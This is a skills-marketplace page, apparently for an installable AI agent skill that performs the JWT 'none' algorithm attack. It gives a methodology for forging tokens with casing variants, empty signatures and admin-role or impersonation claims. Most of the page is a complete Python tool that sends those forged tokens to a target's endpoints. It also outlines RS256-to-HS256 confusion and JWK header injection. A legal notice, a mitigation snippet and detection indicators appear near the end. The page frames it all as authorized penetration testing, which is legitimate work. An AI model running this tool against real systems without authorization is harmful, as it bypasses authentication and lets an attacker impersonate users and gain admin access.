Skip to main content 홈 크리에이터 xalgord xalgorix performing-jwt-none-algorithm-attack
performing-jwt-none-algorithm-attack Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens.
설치로 이동 Skills Marketplace 커뮤니티가 만든 AI 스킬을 발견하고 탐색하세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/xalgord/xalgorix --skill performing-jwt-none-algorithm-attack명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
Zip 다운로드 다운로드 중... name performing-jwt-none-algorithm-attack description Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens. domain cybersecurity subdomain api-security tags ["jwt","none-algorithm","authentication-bypass","token-manipulation","signature-bypass","penetration-testing","owasp","web-security"] version 1.0 author mahipal license Apache-2.0 nist_csf ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
Performing JWT None Algorithm Attack
Overview
The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.
When to Use
When conducting security assessments that involve performing jwt none algorithm attack
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Most Often Missed & How to Confirm
alg casing/omission: test none, None, NONE, nOnE, and a header with no alg at all - allowlists that only block lowercase "none" still fall.
Signature-segment variants: try an empty sig, a trailing-dot-only sig, and a leftover original signature - some libraries accept each differently.
Claim edits matter: flip role/is_admin/sub while keeping iss/aud/exp valid so the token passes non-signature checks.
Chain to confusion/weak secret: if none is blocked, try RS256→HS256 confusion and HMAC secret brute-force before concluding safe.
kid/jwk header injection: CVE-2018-0114-style embedded jwk and kid path traversal can supply attacker keys.
How to confirm a hit (avoid false negatives): the forged token must return authenticated/privileged data from a protected endpoint (e.g., an admin route returns 200 with admin data), not merely avoid a 401 - compare against an unauthenticated baseline. Don't conclude negative until you've tried: all none casings, every signature-segment form, claim manipulation, and the HS256-confusion and weak-secret fallbacks.
Prerequisites
Target application using JWT for authentication or authorization
Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
Python 3.8+ with PyJWT library for token crafting
Understanding of JWT structure (Header.Payload.Signature)
Authorization to perform security testing on the target
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
JWT Structure A JWT consists of three Base64URL-encoded parts separated by dots:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # Signature
Attack Methodology
Step 1: Capture a Valid JWT Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Step 2: Decode and Analyze the Token import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.' )
header = json.loads(base64.urlsafe_b64decode(parts[0 ] + '==' ))
print (f"Header: {header} " )
payload = json.loads(base64.urlsafe_b64decode(parts[1 ] + '==' ))
print (f"Payload: {payload} " )
Step 3: Craft a Forged Token with None Algorithm
"""JWT None Algorithm Attack Tool
Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack :
NONE_VARIANTS = [
"none" ,
"None" ,
"NONE" ,
"nOnE" ,
"noNe" ,
"NoNe" ,
"nONE" ,
"nonE" ,
]
def __init__ (self, target_url: str , original_token: str ):
self .target_url = target_url
self .original_token = original_token
self .original_header, self .original_payload = self ._decode_token(original_token)
def _base64url_encode (self, data: bytes ) -> str :
"""Base64URL encode without padding."""
return base64.urlsafe_b64encode(data).rstrip(b'=' ).decode('utf-8' )
def _base64url_decode (self, data: str ) -> bytes :
"""Base64URL decode with padding restoration."""
padding = 4 - len (data) % 4
if padding != 4 :
data += '=' * padding
return base64.urlsafe_b64decode(data)
def _decode_token (self, token: str ) -> tuple :
"""Decode JWT header and payload."""
parts = token.split('.' )
header = json.loads(self ._base64url_decode(parts[0 ]))
payload = json.loads(self ._base64url_decode(parts[1 ]))
return header, payload
def craft_none_token (self, modified_payload: dict ,
alg_variant: str = "none" ) -> str :
"""Craft a JWT with the none algorithm and modified payload."""
header = {"alg" : alg_variant, "typ" : "JWT" }
header_encoded = self ._base64url_encode(json.dumps(header).encode())
payload_encoded = self ._base64url_encode(json.dumps(modified_payload).encode())
return f"{header_encoded} .{payload_encoded} ."
def craft_privilege_escalation (self, role_field: str = "role" ,
admin_value: str = "admin" ) -> list :
"""Create tokens with escalated privileges using all none variants."""
tokens = []
modified_payload = dict (self .original_payload)
modified_payload[role_field] = admin_value
for variant in self .NONE_VARIANTS:
token = self .craft_none_token(modified_payload, variant)
tokens.append({"variant" : variant, "token" : token})
return tokens
def craft_user_impersonation (self, target_user_id: str ,
user_field: str = "sub" ) -> str :
"""Create a token impersonating another user."""
modified_payload = dict (self .original_payload)
modified_payload[user_field] = target_user_id
return self .craft_none_token(modified_payload)
def test_none_variants (self, endpoint: str = "/api/profile" ,
headers: Optional [dict ] = None ) -> list :
"""Test all none algorithm variants against the target."""
results = []
base_headers = headers or {}
for variant in self .NONE_VARIANTS:
modified_payload = dict (self .original_payload)
modified_payload["role" ] = "admin"
token = self .craft_none_token(modified_payload, variant)
test_headers = dict (base_headers)
test_headers["Authorization" ] = f"Bearer {token} "
try :
response = requests.get(
f"{self.target_url} {endpoint} " ,
headers=test_headers,
timeout=10
)
result = {
"variant" : variant,
"status_code" : response.status_code,
"accepted" : response.status_code == 200 ,
"response_length" : len (response.content),
}
results.append(result)
if response.status_code == 200 :
print (f" [VULNERABLE] alg='{variant} ' -> {response.status_code} " )
else :
print (f" [SAFE] alg='{variant} ' -> {response.status_code} " )
except requests.exceptions.RequestException as e:
results.append({
"variant" : variant,
"status_code" : 0 ,
"accepted" : False ,
"error" : str (e)
})
return results
def test_empty_signature_variants (self ) -> list :
"""Test different empty signature formats."""
modified_payload = dict (self .original_payload)
modified_payload["role" ] = "admin"
header = {"alg" : "none" , "typ" : "JWT" }
header_encoded = self ._base64url_encode(json.dumps(header).encode())
payload_encoded = self ._base64url_encode(json.dumps(modified_payload).encode())
variants = [
f"{header_encoded} .{payload_encoded} ." ,
f"{header_encoded} .{payload_encoded} " ,
f"{header_encoded} .{payload_encoded} .AA==" ,
]
results = []
for token in variants:
results.append({"token_format" : token[-20 :], "token" : token})
return results
def main ():
if len (sys.argv) < 3 :
print ("Usage: python jwt_none_attack.py <target_url> <original_token>" )
print ("Example: python jwt_none_attack.py https://api.example.com eyJhbG..." )
sys.exit(1 )
target_url = sys.argv[1 ]
original_token = sys.argv[2 ]
attacker = JWTNoneAttack(target_url, original_token)
print (f"\nOriginal Token Header: {attacker.original_header} " )
print (f"Original Token Payload: {attacker.original_payload} " )
print (f"\n{'=' *60 } " )
print ("Testing None Algorithm Variants" )
print (f"{'=' *60 } " )
results = attacker.test_none_variants()
vulnerable = [r for r in results if r.get("accepted" )]
if vulnerable:
print (f"\n[!] VULNERABLE: {len (vulnerable)} variant(s) accepted!" )
print ("[!] The server does not properly validate JWT signatures" )
else :
print (f"\n[+] SECURE: All none algorithm variants were rejected" )
if __name__ == "__main__" :
main()
Step 4: Additional JWT Attack Variants Algorithm Confusion (RS256 to HS256):
If the server uses RS256 (asymmetric), an attacker who knows the public key can:
Change alg to HS256
Sign the token using the public key as the HMAC secret
The server may verify the signature using its public key as an HMAC key
JWK Header Injection (CVE-2018-0114):
{
"alg" : "RS256" ,
"typ" : "JWT" ,
"jwk" : {
"kty" : "RSA" ,
"n" : "<attacker-controlled-key>" ,
"e" : "AQAB"
}
}
Mitigation Strategies
import jwt
def verify_token_secure (token: str , secret_key: str ) -> dict :
"""Verify JWT with explicit algorithm allowlist."""
try :
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256" ],
options={
"require" : ["exp" , "iat" , "sub" ],
"verify_exp" : True ,
"verify_iat" : True ,
}
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("Invalid token algorithm" )
except jwt.ExpiredSignatureError:
raise ValueError("Token expired" )
except jwt.InvalidTokenError:
raise ValueError("Invalid token" )
Detection Indicators
JWT tokens with "alg": "none" (or case variations) in server logs
Tokens with empty or missing signature segments
Sudden change in algorithm field from normal patterns
Tokens with modified claims (role escalation) from the same session
Authorization header containing tokens with only two Base64 segments
References